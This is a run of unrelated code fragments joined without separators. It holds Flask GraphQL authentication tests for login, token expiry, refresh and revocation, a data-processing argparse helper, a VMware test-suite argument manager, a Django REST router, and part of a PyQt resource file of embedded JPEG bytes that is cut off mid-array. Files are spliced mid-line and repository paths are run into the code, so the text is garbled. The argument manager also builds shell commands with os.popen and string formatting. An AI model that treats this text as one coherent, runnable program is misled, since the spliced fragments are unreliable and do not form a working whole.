self.assertIsNone(login_response.json["data"]["auth"]["login"]) def test_login_fails_on_wrong_password(self): login_response = test_post_graphql( self.login_query, variables=dict(email=self.user.email, password=""), ) self.assertIsNotNone(login_response.json.get("errors")) self.assertIsNone(login_response.json["data"]["auth"]["login"]) login_response = test_post_graphql( self.login_query, variables=dict(email=self.user.email, password=""), ) self.assertIsNotNone(login_response.json.get("errors")) self.assertIsNone(login_response.json["data"]["auth"]["login"]) login_response = test_post_graphql( self.login_query, variables=dict(email="random-junk", password=""), ) self.assertIsNotNone(login_response.json.get("errors")) self.assertIsNone(login_response.json["data"]["auth"]["login"]) def test_auth_token_flow_works_correctly(self): base_time = datetime.now() # Step 1 : login with freeze_time(base_time): login_response = test_post_graphql( self.login_query, variables=dict(email=self.user.email, password=""), ) self.assertEqual(login_response.status_code, 200) login_response_data = login_response.json["data"]["auth"]["login"] self.assertIn("accessToken", login_response_data) self.assertIn("refreshToken", login_response_data) # Step 2 : access protected endpoint within token expiration time with freeze_time(base_time + timedelta(seconds=30)): access_response = test_post_graphql( self.check_query, headers=[ ( "Authorization", f"Bearer {login_response_data['accessToken']}", ) ], ) self.assertEqual(access_response.status_code, 200) access_response_data = access_response.json["data"]["checkAuth"] self.assertEqual(access_response_data["userId"], self.user.id) # Refresh access token after expiration with freeze_time( base_time + timedelta(minutes=10) + app.config["ACCESS_TOKEN_EXPIRATION"] ): expired_access_response = test_post_graphql( self.check_query, headers=[ ( "Authorization", f"Bearer {login_response_data['accessToken']}", ) ], ) self.assertIsNotNone(expired_access_response.json.get("errors")) self.assertIsNone(expired_access_response.json["data"]) refresh_response = test_post_graphql( self.refresh_query, headers=[ ( "Authorization", f"Bearer {login_response_data['refreshToken']}", ) ], ) self.assertEqual(refresh_response.status_code, 200) refresh_response_data = refresh_response.json["data"]["auth"][ "refresh" ] self.assertIn("accessToken", refresh_response_data) self.assertIn("refreshToken", refresh_response_data) new_access_response = test_post_graphql( self.check_query, headers=[ ( "Authorization", f"Bearer {refresh_response_data['accessToken']}", ) ], ) self.assertEqual(new_access_response.status_code, 200) new_access_response_data = new_access_response.json["data"][ "checkAuth" ] self.assertEqual(new_access_response_data["userId"], self.user.id) reuse_refresh_token_response = test_post_graphql( self.refresh_query, headers=[ ( "Authorization", f"Bearer {login_response_data['refreshToken']}", ) ], ) self.assertIsNotNone( reuse_refresh_token_response.json.get("errors") ) self.assertIsNone( reuse_refresh_token_response.json["data"]["auth"]["refresh"] ) def test_access_fails_on_bad_token(self): base_time = datetime.now() # Step 1 : login with freeze_time(base_time): login_response = test_post_graphql( self.login_query, variables=dict(email=self.user.email, password=""), ) self.assertEqual(login_response.status_code, 200) login_response_data = login_response.json["data"]["auth"]["login"] self.assertIn("accessToken", login_response_data) self.assertIn("refreshToken", login_response_data) with freeze_time(base_time + timedelta(seconds=30)): wrong_access_response = test_post_graphql( self.check_query, headers=[ ( "Authorization", f"Bearer {login_response_data['accessToken']}abc", ) ], ) self.assertIsNotNone(wrong_access_response.json.get("errors")) self.assertIsNone(wrong_access_response.json["data"]) mixing_tokens_response = test_post_graphql( self.check_query, headers=[ ( "Authorization", f"Bearer {login_response_data['refreshToken']}", ) ], ) self.assertIsNotNone(mixing_tokens_response.json.get("errors")) self.assertIsNone(mixing_tokens_response.json["data"]) def test_refresh_fails_on_bad_token(self): login_response = test_post_graphql( self.login_query, variables=dict(email=self.user.email, password=""), ) self.assertEqual(login_response.status_code, 200) login_response_data = login_response.json["data"]["auth"]["login"] self.assertIn("accessToken", login_response_data) self.assertIn("refreshToken", login_response_data) wrong_refresh_response = test_post_graphql( self.refresh_query, headers=[ ( "Authorization", f"Bearer {login_response_data['refreshToken']}abc", ) ], ) self.assertIsNotNone(wrong_refresh_response.json.get("errors")) self.assertIsNone( wrong_refresh_response.json["data"]["auth"]["refresh"] ) mixing_tokens_response = test_post_graphql( self.refresh_query, headers=[ ( "Authorization", f"Bearer {login_response_data['accessToken']}", ) ], ) self.assertIsNotNone(mixing_tokens_response.json.get("errors")) self.assertIsNone( mixing_tokens_response.json["data"]["auth"]["refresh"] ) def test_tokens_fail_on_revoked_user(self): # Step 1 : login login_response = test_post_graphql( self.login_query, variables=dict(email=self.user.email, password=""), ) self.assertEqual(login_response.status_code, 200) login_response_data = login_response.json["data"]["auth"]["login"] self.assertIn("accessToken", login_response_data) self.assertIn("refreshToken", login_response_data) # Revoke user sleep(1) self.user.revoke_all_tokens() db.session.commit() wrong_access_response = test_post_graphql( self.check_query, headers=[ ( "Authorization", f"Bearer {login_response_data['accessToken']}", ) ], ) self.assertIsNotNone(wrong_access_response.json.get("errors")) self.assertIsNone(wrong_access_response.json["data"]) wrong_refresh_response = test_post_graphql( self.refresh_query, headers=[ ( "Authorization", f"Bearer {login_response_data['refreshToken']}", ) ], ) self.assertIsNotNone(wrong_refresh_response.json.get("errors")) self.assertIsNone( wrong_refresh_response.json["data"]["auth"]["refresh"] ) 0 import argparse def parser_conbine(): parser_conbine = argparse.ArgumentParser(description='PPMS data processing') parser_conbine.add_argument('-path', default='/Users/wuriga/Documents/project/GB/*_2.9/', help='GB orientation angle folder') parser_conbine.add_argument('-my_image',default = 'image', help ='stored plotted images of comparison GB vs no GB ' ) parser_conbine.add_argument('-basepath', default='/Users/wuriga/Documents/project/GB/Pure_PbTe_angle_2.9', help='GB orientation angle folder') return parser_conbine.parse_args()vmware-ose-common-test-suites/framework/libs/common/argument_mgmt.py1-10 import re, os from enum import Enum import argparse import framework.libs.common.globalvar as gl from framework.libs.common.globalvar import GlobalKeys from framework.libs.common.utils import handle_ose_arguments class ArgMgmt: @staticmethod def add_argument(): # TODO: arguments parser = argparse.ArgumentParser() parser.add_argument('--priority', type=str, default='smoke', choices=['smoke', 'regression', 'quick', 'full'], help='Case priority') parser.add_argument('--scope', type=str, default='cloudian', choices=['full', 'ecs', 'cloudian'], help='Case scope') parser.add_argument('--virtual-host-style', action='store_true', default='False', help='Enable Virtual Hosting Style') parser.add_argument('--vcd-url', type=str, help='vcd url') parser.add_argument('--ose-url', type=str, help='ose url') parser.add_argument('--vcd-user', type=str, help='vcd username') parser.add_argument('--vcd-password', type=str, help='vcd user password') parser.add_argument('--file', type=str, help='user profile') parser.add_argument('--testcases', nargs='+', help='id(s) of testcase(s) to run', required=False) # TODO: to be removed # support testing against vendor parser.add_argument('--log_level', type=str, default='info', choices=['info', 'warn', 'debug', 'error']) parser.add_argument('--vendor', action='store_true', default='False', help='Run against vendor endpoint') parser.add_argument('--skip_body_validation', action='store_true', default='False', help='skip_body_validation') parser.add_argument('--email', action='store_true', default='False', help='Email the test report') parser.add_argument('--email_receivers', nargs='+', help='Email receivers list') args = parser.parse_args() try: keys = ['priority', 'scope', 'virtual_host_style', 'ose_url', 'vcd_url', 'vcd_user', 'vcd_password', 'file', 'testcases', 'log_level', 'vendor', 'skip_body_validation', 'email', 'email_receivers'] ose_args = ArgMgmt.handle_argument(keys, args) gl.init() gl.set_value(GlobalKeys.OSE_ARGS.value, ose_args) return ose_args except Exception: raise @staticmethod def handle_argument(keys, args): ose_args = dict() for arg in keys: arg_v = os.popen("echo $%s" % arg).read().strip('\n') if not arg_v: arg_v = getattr(args, arg) if hasattr(args, arg) else '' if arg in ['email', 'skip_body_validation', 'vendor', 'virtual_host_style'] and arg_v: if type(arg_v) == str: arg_v = True if arg_v.lower() == 'true' else False else: if type(arg_v) == str: arg_v = arg_v.lower() ose_args.update({arg: arg_v}) ose_args = handle_ose_arguments(ose_args) return ose_args if __name__ == '__main__': pass from rest_framework import routers from website.api import UserViewSet, PostViewSet, CommentViewSet, \ CategoryViewSet, CrowdViewSet router = routers.SimpleRouter() router.register(r'users', UserViewSet) router.register(r'posts', PostViewSet) router.register(r'categories', CategoryViewSet) router.register(r'comments', CommentViewSet) router.register(r'crowds', CrowdViewSet) UmeedChandel/FaceGrab from PyQt5 import QtCore qt_resource_data = b"\ \x00\x01\x52\xc5\ \xff\ \xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x00\x00\x01\x00\ \x01\x00\x00\xff\xfe\x00\x3b\x43\x52\x45\x41\x54\x4f\x52\x3a\x20\ \x67\x64\x2d\x6a\x70\x65\x67\x20\x76\x31\x2e\x30\x20\x28\x75\x73\ \x69\x6e\x67\x20\x49\x4a\x47\x20\x4a\x50\x45\x47\x20\x76\x36\x32\ \x29\x2c\x20\x71\x75\x61\x6c\x69\x74\x79\x20\x3d\x20\x39\x30\x0a\ \xff\xdb\x00\x43\x00\x03\x02\x02\x03\x02\x02\x03\x03\x03\x03\x04\ \x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\ \x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\ \x0b\x10\x16\x10\x11\x13\x14\x15\x15\x15\x0c\x0f\x17\x18\x16\x14\ \x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\ \x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\ \x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\ \x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\ \x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc0\x00\x11\x08\x02\ \x6d\x02\x72\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01\xff\xc4\x00\ \x1f\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\ \x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\xff\xc4\ \x00\xb5\x10\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\ \x00\x01\x7d\x01\x02\x03\x00\x04\x11\x05\x12\x21\x31\x41\x06\x13\ \x51\x61\x07\x22\x71\x14\x32\x81\x91\xa1\x08\x23\x42\xb1\xc1\x15\ \x52\xd1\xf0\x24\x33\x62\x72\x82\x09\x0a\x16\x17\x18\x19\x1a\x25\ \x26\x27\x28\x29\x2a\x34\x35\x36\x37\x38\x39\x3a\x43\x44\x45\x46\ \x47\x48\x49\x4a\x53\x54\x55\x56\x57\x58\x59\x5a\x63\x64\x65\x66\ \x67\x68\x69\x6a\x73\x74\x75\x76\x77\x78\x79\x7a\x83\x84\x85\x86\ \x87\x88\x89\x8a\x92\x93\x94\x95\x96\x97\x98\x99\x9a\xa2\xa3\xa4\ \xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xc2\ \xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\ \xda\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf1\xf2\xf3\xf4\xf5\ \xf6\xf7\xf8\xf9\xfa\xff\xc4\x00\x1f\x01\x00\x03\x01\x01\x01\x01\ \x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\ \x06\x07\x08\x09\x0a\x0b\xff\xc4\x00\xb5\x11\x00\x02\x01\x02\x04\ \x04\x03\x04\x07\x05\x04\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\ \x04\x05\x21\x31\x06\x12\x41\x51\x07\x61\x71\x13\x22\x32\x81\x08\ \x14\x42\x91\xa1\xb1\xc1\x09\x23\x33\x52\xf0\x15\x62\x72\xd1\x0a\ \x16\x24\x34\xe1\x25\xf1\x17\x18\x19\x1a\x26\x27\x28\x29\x2a\x35\ \x36\x37\x38\x39\x3a\x43\x44\x45\x46\x47\x48\x49\x4a\x53\x54\x55\ \x56\x57\x58\x59\x5a\x63\x64\x65\x66\x67\x68\x69\x6a\x73\x74\x75\ \x76\x77\x78\x79\x7a\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\ \x94\x95\x96\x97\x98\x99\x9a\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\ \xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xc2\xc3\xc4\xc5\xc6\xc7\xc8\ \xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xe2\xe3\xe4\xe5\xe6\ \xe7\xe8\xe9\xea\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xff\xda\x00\ \x0c\x03\x01\x00\x02\x11\x03\x11\x00\x3f\x00\xfd\x51\xef\xd6\x83\ \x4b\x46\x28\x00\xa4\xa5\xa2\x80\x12\x96\x8a\x28\x01\x28\xa5\xc5\ \x14\x00\xd3\xcd\x2d\x04\x73\x4b\x40\x09\x4b\x47\xe3\x45\x00\x14\ \x94\xb4\x62\x80\x18\x46\x0f\xae\x69\xc0\xfa\xd0\xc3\x22\x93\xb6\ \x68\x01\x69\x68\x1c\xd1\x40\x09\xda\xaa\xcf\x2a\x25\xd4\x3b\x9d\ \x57\x19\xce\x4f\xb5\x1a\x8d\xc1\x82\xdc\xed\x38\x66\x38\x07\xd2\ \xb9\xe7\x25\xb2\x49\xc9\xee\x4d\x6f\x4e\x9f\x3e\xa4\x39\x5b\x43\ \xab\x04\x1e\x41\xcd\x2d\x60\x69\x17\x6d\x15\xc8\x88\x9c\xc6\xfd\ \x8f\x63\x5b\xf5\x9c\xe0\xe0\xec\xca\x4e\xe2\x50\x69\x68\xa8\x18\ \x95\x56\xe6\xc1\x26\x6f\x31\x09\x8a\x61\xd2\x44\xeb\xf8\xfa\xd5\ \xba\x29\xa6\xd6\xc0\x67\x0b\xf9\x6c\xfe\x5b\xb4\xf9\x3f\xe7\xba\ \x0f\x97\xf1\x1d\xaa\xf2\x48\x24\x50\xca\xc1\x94\xf2\x08\xe8\x69\ \xc5\x41\x18\xed\x59\xef\xa6\xbd\xbb\x97\xb2\x71\x11\x3c\x98\x9b\ \x98\xdb\xf0\xed\xf8\x53\xd1\xf9\x13\xaa\x34\x2b\x33\x5b\xbd\x92\ \x18\x92\xda\xd8\xff\x00\xa5\xdc\x9d\x91\xff\x00\xb3\xea\xc7\xd8\ \x0f\xe9\x4f\x4d\x61\x22\xdc\x97\x6b\xf6\x49\x14\x12\x43\x9f\x94\ \x8f\x50\x7b\xd5\x6d\x25\x0d\xc4\x92\x6a\x97\x03\x6b\x4c\x36\xc4\ \xad\xfc\x11\xf6\xfc\x4f\x53\xf8\x55\xc6\x2e\x3e\xf4\x90\x9b\xbe\ \x88\x5b\xcd\x26\x38\xfc\x3b\x71\x63\x10\x38\xf2\x19\x57\xd4\xb6\ \x0f\x3f\x5c\xf3\x56\xb4\xfd\x40\x5c\x69\xf6\xd3\x0f\x99\xa5\x8d\ \x5f\x68\xeb\xc8\xcd\x4e\x4b\xcd\xf7\x7e\x44\xf5\x23\x93\x59\xde\ \x15\x41\x16\x98\x20\x03\x0d\x04\x92\x42\x7f\xe0\x2c\x40\xfd\x31\ \x46\xf1\x6d\xf7\xfc\xc5\xb4\xac\x8d\x11\x0b\x4c\x73\x29\xe3\xfb\ \x83\xa7\xe3\xeb\x54\xf5\x3b\xd7\x8d\xd2\xca\xcf\x06\xee\x51\xc7\ \x1c\x46\xbd\xdc\xff\x00\x4f\x53\x53\xea\x7a\x88\xb1\x89\x42\xaf\ \x99\x71\x21\xdb\x14\x43\xab\x37\xf8\x7a\x9a\x6e\x97\xa6\xfd\x8d\ \x1e\x49\x5f\xcd\xba\x94\xee\x96\x4f\x53\xe8\x3d\x87\x61\x49\x68\ \xb9\x9f\xc8\x6f\xb2\x0b\x1d\x22\x1b\x1b\x71\x1c\x65\x83\x67\x2d\ \x26\x7e\x66\x63\xd4\x9f\x53\x4b\x76\x26\x48\x76\x02\x24\xde\x42\ \xe0\xf0\x79\xab\xa6\xa0\x97\xe6\xba\x8d\x7b\x28\x2c\x7f\x90\xfe\ \xb4\xb9\x9b\x77\x63\xb2\x4b\x40\x17\x01\x00\x0e\xa6\x3c\x7f\x7b\ \xa7\xe7\x59\x7e\x20\x98\xde\x98\x34\xb8\x5b\xe7\xbb\xcf\x98\xca\ \x7e\xec\x43\xef\x1f\xc7\xa7\xe3\x50\xeb\x7e\x38\xd2\xf4\x49\xda\ \x09\x9d\xe6\x98\x7d\xe4\x85\x73\xb7\xeb\xd0\x55\x3f\x09\xea\x56\ \x5a\xf5\xc5\xf5\xec\x73\x6c\xba\x76\xc0\x8b\x38\x68\xe3\x1f\x77\ \x8e\xf9\xea\x7d\xcd\x74\x46\x94\xe3\x1f\x6d\x28\xbb\x19\xb9\x26\ \xf9\x53\x3a\x37\xb4\x10\xaa\x1b\x70\x10\xc6\xa1\x55\x47\x00\xaf\ \xa5\x4d\x0c\xc2\x74\xdc\x38\x3d\x08\x3d\x41\xf4\xac\x8b\x9f\x11\ \xdb\xd9\xca\x61\x59\x85\xec\xc3\x8f\x26\xdd\x4b\xc9\xff\x00\x8e\ \xe4\x0f\xc7\x15\x4a\x7b\xdd\x62\xea\x53\x25\xad\xac\x5a\x60\x3c\ \x33\xdd\x9d\xec\xc3\xd9\x57\x80\x7e\xad\x59\xaa\x52\x96\xfa\x7a\ \x95\xcc\x93\xd0\xde\x62\x20\x9c\xe7\x01\x24\xfc\x81\xac\x2d\x5b\ \xc5\x9a\x46\x90\x25\x74\xbb\xdc\xf1\xf2\xe9\x6c\x3c\xc0\x3e\xb8\ \xe0\x7e\x24\x56\x3d\xf9\x82\xff\x00\x7c\x29\x3c\xfe\x20\xbb\x1f\ \x78\x3b\xf9\x76\xb0\x9f\xf6\x82\xf1\x9f\xf6\x7e\x63\x57\xb4\x7d\ \x1a\xce\x39\x21\x97\x50\x2b\x73\x72\x9c\xa4\x6b\x18\x4b\x78\x4f\ \xfb\x08\x38\xff\x00\x81\x1c\x9f\x7a\xe8\x8d\x28\x41\x73\x4e\xef\ \xcb\xfa\xfd\x6c\x64\xe6\xe5\xa4\x4c\xd1\xaf\x78\xb3\xc5\x71\x8f\ \xb0\x59\xc7\xe1\xcd\x39\xb8\x3a\x8d\xe2\x19\x67\x71\xea\x91\x0e\ \x17\xea\xc4\xfd\x0d\x69\x68\xdf\x0d\x74\xab\x50\xd3\x5c\xcf\x71\ \xac\x5c\x4a\x77\x4b\x35\xdc\xbb\xbc\xc3\xea\x54\x60\x1f\xa1\xce\ \x2b\xb0\x50\x0a\x8c\x60\x8a\x82\x4b\x35\x2c\x5e\x36\x31\x39\xee\ \x9d\xfe\xa3\xbd\x43\xc4\xbb\x38\xd3\x5c\x8b\xcb\xf5\x7b\xfe\x36\ \xf2\x29\x52\xeb\x2d\x59\x0d\xad\xbc\x5a\x5e\xcb\x78\xd1\x63\xb7\ \x27\x11\x84\x18\x03\xda\xaf\x55\x39\x0c\x81\x0a\x4f\x1f\x98\x87\ \xab\x46\x39\xfc\xbf\xc2\x8b\x4b\xb5\x63\xe5\x97\x0e\x47\xdd\x6f\ \xef\x0f\xf1\xae\x66\x9b\xd4\xd5\x34\xb4\x31\xed\xff\x00\xd2\xbe\ \x20\x5e\x3f\x55\xb4\xb0\x8e\x3c\xfa\x34\x8e\xcc\x47\xe5\x1a\xd7\ \x4b\x5c\xdf\x85\xc7\xda\x35\x5f\x11\x5e\x7f\x7e\xfb\xc9\x53\xfe\ \xcc\x71\xa2\xff\x00\xe8\x5b\xab\xa4\xab\xad\xf1\x25\xd9\x2f\xcb\ \xfc\xc9\xa7\xb5\xfd\x42\x92\x96\xa0\xb8\xba\x8e\x0c\x02\x72\xe7\ \xa2\x2f\x24\xd6\x56\xb9\xa1\x33\x74\xae\x57\x5a\xf0\xae\x9d\xa9\ \xde\xb5\xcd\x9a\xcb\x65\xab\x77\xbd\xb0\x7f\x29\xc7\xfb\xe7\xa3\ \x8f\x66\x06\xb7\xfc\x99\xae\xb9\x94\xf9\x51\xff\x00\xcf\x35\x3c\ \x9f\xa9\xff\x00\x0a\xb3\x14\x2b\x0a\x05\x45\x0a\xa3\xb0\xab\x8c\ \x9d\x37\x78\xbd\x48\x71\x53\x56\x67\x13\xe7\x78\x8f\xc3\xee\x1b\ \x57\xb5\x1e\x23\xb3\x53\xc5\xc5\x82\x6c\x99\x07\xab\x42\x4e\x1b\ \xea\xa7\x3f\xec\xd7\x47\xa1\x78\x9b\x4c\xf1\x14\x4c\xfa\x7d\xdc\ \x73\x14\x38\x92\x3f\xbb\x24\x67\xd1\x90\xe0\xa9\xf6\x20\x56\xae\ \x01\xac\x3d\x73\xc1\x9a\x66\xbd\x2a\xdc\x4d\x09\x82\xf9\x38\x8e\ \xf6\xd5\xcc\x53\xa7\xd1\xd7\x9c\x7b\x1c\x8f\x6a\xd7\x9e\x9d\x4f\ \x8d\x59\xf7\x5f\xe5\xfe\x56\xf4\x23\x96\x51\xf8\x5d\xfd\x7f\xcc\ \xdc\xa0\xd7\x1c\x5b\xc4\xfe\x17\x3f\x30\x5f\x13\xd8\x0e\xeb\xb6\ \x1b\xc4\x1f\x4e\x12\x4f\xfc\x74\xfd\x6b\x5b\x43\xf1\x96\x95\xe2\ \x09\x1e\x0b\x6b\x82\x97\x91\xff\x00\xac\xb3\xb8\x43\x14\xf1\xff\ \x00\xbc\x8d\x83\xf8\xf4\xf7\xa9\x95\x19\x25\xcd\x1d\x57\x75\xfa\ \xf5\x5f\x32\x94\xd3\x76\x7a\x33\x72\x93\xa5\x1d\x6b\x0f\xc4\xfa\ \x83\xdb\x44\x90\xc4\xdb\x5a\x4e\xa4\x75\xc5\x67\x08\xb9\xc9\x45\ \x16\xdd\x8b\x97\x37\x50\xff\x00\x68\x5b\x0f\x35\x01\x1b\x81\x1b\ \x86\x47\x15\xa0\x0e\x47\x07\x35\xe6\xe4\x67\xad\x74\x7e\x15\xd4\ \xa4\x77\x6b\x59\x18\xb0\x0b\xb9\x09\xed\xed\x5d\x75\x70\xfc\x90\ \xe6\x4e\xf6\x33\x8c\xae\xf5\x3a\x5a\x29\x69\x0f\x4e\xb5\xc2\x6a\ \x61\xf8\xd3\xc4\xb1\xf8\x4f\xc3\xf7\x17\xed\x19\x9e\x61\x88\xed\ \xed\xd7\xef\x4d\x33\x1d\xb1\xc6\x3d\xcb\x10\x2b\xcf\xaf\x3c\x3b\ \x34\x3a\x66\x93\xe0\xc7\x9b\xed\x1a\xa6\xbd\x33\xea\x1a\xed\xca\ \x75\x31\x02\x1a\x6f\xa0\x62\x52\x25\xff\x00\x67\xe9\x5b\xab\x22\ \xf8\xc3\xc7\x12\xde\xc8\xc0\xe8\x5e\x1c\x66\x58\xcb\x1f\x92\x5b\ \xc2\xbf\x3b\xfd\x22\x53\xb7\xfd\xe6\x6f\x4a\x9b\xe1\xc4\x2d\xae\ \x5d\x6a\x7e\x2e\x9d\x48\x6d\x55\xc4\x76\x6a\xdd\x63\xb3\x4c\x88\ \xbe\x9b\xc9\x69\x0f\xfb\xc3\xd2\xbd\x7a\x7f\xec\xd4\xef\xd5\x59\ \xbf\x57\xf0\xaf\x96\xb2\x7e\x7a\x3d\x8e\x29\x7e\xf6\x56\xe8\xf4\ \xf9\x75\x7f\x3d\x8e\xe2\x18\xd6\x18\x95\x10\x05\x45\x18\x0a\x06\ \x00\x14\xea\x5c\x51\x5e\x41\xda\x14\x94\xb4\x50\x02\x57\x0b\x9f\ \xec\xbf\x8c\xdf\xdd\x8f\x57\xd1\x7f\x06\x92\xda\x6f\xe7\xb6\xe3\ \xff\x00\x1d\xae\xee\xb8\x6f\x88\x40\x69\xfe\x21\xf0\x56\xae\x38\ \xf2\x75\x43\x67\x21\xff\x00\x62\xe2\x27\x41\xff\x00\x91\x3c\xaa\ \xeb\xc3\x6b\x37\x0f\xe6\x4d\x7e\x17\x5f\x8a\x46\x35\x74\x4a\x5d\ \x9a\xfe\xbe\xe3\xb8\xa5\xa4\x1c\x8c\xfb\x52\xe2\xb9\x0d\x84\xa2\ \x96\x8a\x00\x4a\x5a\x4c\x52\xe2\x80\x0a\x28\xa2\x80\x0a\x28\xe2\ \x8a\x00\x28\xa2\x8a\x00\x39\xa2\x8a\x28\x00\xa2\x8a\x28\x00\xe6\ \x8a\x3a\x51\x40\x05\x14\x7e\x14\x50\x01\xcd\x14\x51\x40\x07\x3e\ \x94\x77\xa2\x8c\x50\x01\x4d\xe8\x71\x8a\x75\x23\x0e\x28\x01\x07\ \x1c\x53\xa9\xa7\x91\x91\x4a\xa7\x23\x34\x01\x57\x51\xb7\x33\xdb\ \x9c\x7d\xe5\xe4\x57\x3e\x46\x32\x0d\x74\x73\x93\x33\x88\x97\xa7\ \x56\x3e\xde\x9f\x8d\x36\x68\x90\xdd\x42\x0a\x29\x18\x3d\x47\xd2\ \xb7\xa7\x53\x91\x58\x86\xae\x64\xe9\x96\x4f\x3c\xc1\xf9\x44\x5f\ \xe2\x1d\x73\xed\x5a\xc6\xda\x71\xf7\x6e\x5b\xfe\x04\xa0\xd5\xa0\ \xa0\x74\x18\xa3\x15\x13\x9b\x93\xb8\xd2\xb1\x54\xa5\xe2\x8e\x1e\ \x27\xfa\xa9\x1f\xd6\x9b\xe7\x5d\xa7\xde\x82\x37\xff\x00\x71\xff\ \x00\xc4\x55\xca\x31\x53\x7f\x21\xd8\xa4\x2f\x65\x5f\xbf\x69\x30\ \xff\x00\x77\x6b\x7f\x5a\x0e\xab\x12\xfd\xf5\x96\x3f\xf7\xa3\x6f\ \xf0\xab\xb8\xf6\xa4\x2a\x3d\x29\x5d\x76\x0d\x4a\xab\xab\x5a\x31\ \xff\x00\x8f\x88\xc1\xf4\x2d\x8f\xe7\x53\xa4\xf1\xb8\xf9\x5d\x5b\ \xfd\xd3\x9a\x6c\xc2\x2c\x61\xd4\x39\x3f\xc2\x46\x73\x59\x5a\xb5\ \xb5\xac\x36\xc6\x47\xb5\x8d\x9d\x8e\xd8\xe2\x55\x00\xb3\x1e\x83\ \x35\x49\x29\x3b\x09\xb6\x91\x1e\xaf\x12\x6b\xb7\x23\x4d\x08\xb2\ \xdb\xa6\x24\xb9\xcf\x43\xfd\xd4\xfc\x7a\xfd\x3e\xb5\x32\xd9\xdd\ \x69\xc7\x74\x4c\x6f\x61\x1f\xf2\xca\x43\xf3\x27\xfb\xa7\xbf\xe3\ \xf9\xd2\x69\x7e\x19\xb7\xb0\xb5\x0a\x1a\x45\x99\xce\xf9\x1e\x39\ \x58\x6e\x63\xd7\xbd\x5a\x3a\x5c\xab\xcc\x77\xd7\x0b\xec\xc5\x58\ \x7e\xa2\xb5\x72\x5f\x0c\x5e\x9e\x64\x24\xf7\x7b\x95\xae\x7c\x53\ \x61\x67\x16\xe9\x1d\xc3\xe7\x06\x2d\xbf\x38\x3e\xe3\xb5\x62\xe8\ \x1e\x2d\xd3\xce\xa1\xab\xc6\x1d\xd0\xef\x59\xd2\x36\x5f\x99\xb7\ \x28\x18\x1e\xa7\x2a\x6b\x03\x5f\xf3\x7f\xb5\x6e\x44\xce\x64\x75\ \x7d\xbb\x88\xc6\x40\xe9\xfa\x57\x3d\x1b\x3d\xaf\x89\xa0\x68\x89\ \x0f\x2c\x38\x52\x3f\xbc\xac\x08\xff\x00\xd0\xab\xd6\xa5\x82\xa7\ \x2a\x6f\x5d\x5a\xff\x00\x82\x61\x2a\x8d\x34\x7a\xfe\x9b\x69\x23\ \x4c\xd7\xb7\x78\xfb\x4c\x83\x0a\x9d\x44\x4b\xfd\xd1\xef\xea\x6b\ \x45\xe5\x48\xd4\x96\x60\xa0\x77\x27\x02\xb3\x97\x48\x9a\x75\x06\ \x7b\xfb\x96\xff\x00\x66\x32\x23\x1f\xa0\xcf\xeb\x4e\x4f\x0e\xd8\ \x2b\x6e\x6b\x71\x33\x75\xdd\x31\x2e\x7f\x5c\xd7\x8c\xf9\x5b\xbb\ \x7f\x71\xd2\xaf\xd1\x04\xde\x21\xd3\xe2\x7d\xbf\x6a\x8d\xdf\xfb\ \xb1\xfc\xe7\xf2\x19\xaa\x43\x5b\x92\x76\x99\xed\x74\xfb\xb9\x98\ \xfc\xaa\xcd\x18\x8d\x78\x1f\xed\x11\xdf\xda\xb6\x44\x11\x5b\x46\ \x7c\xb8\xd6\x34\x03\xa2\x8c\x0a\x4b\x68\xf1\x02\xe7\x82\x79\x3f\ \x53\x45\xe2\x96\x88\x2c\xdf\x53\xc0\xee\x59\xe4\x95\xde\x42\x4c\ \x8c\xc4\xb1\x6e\xb9\xef\x5a\x1e\x12\xb7\xfb\x5f\x88\xec\xe1\x64\ \xf3\x23\x91\x8a\xba\x64\x80\x57\x19\x39\xc7\x6e\x2b\xbe\xf1\x37\ \x80\xac\x6f\x1e\x7b\xd5\xb9\x16\x04\xe5\xa4\x2c\x01\x42\x7d\x7a\ \x8c\x57\x37\xe1\x18\xa4\x86\x78\x24\xb0\x8c\x45\x0d\xe2\xf9\x6b\ \xaa\x5c\xa7\xdc\x71\x9d\xc8\x89\xdf\x38\xe1\x8e\x07\x1d\xeb\xe9\ \xfe\xb7\x4e\xad\x09\x38\x6f\x6b\x7a\x7f\x5e\x47\x0b\x87\x24\x92\ \x67\xa1\x5d\x5f\x69\xde\x1d\x81\x23\x58\xd6\x32\xe7\x11\xdb\x5b\ \xa6\x5d\xcf\xfb\x2a\x3a\xfd\x6a\x9b\x69\xfa\x8f\x88\x06\x75\x07\ \x36\x16\x27\xfe\x5c\xe1\x7f\xde\x38\xff\x00\xa6\x8e\x3a\x7f\xba\ \xbf\x99\xad\x1d\x2f\x41\xb6\xd3\x19\xe5\x5d\xd3\x5c\xbf\xdf\xb9\ \x98\xee\x91\xff\x00\x1e\xc3\xd8\x71\x5a\x58\xaf\x99\xe7\x51\x77\ 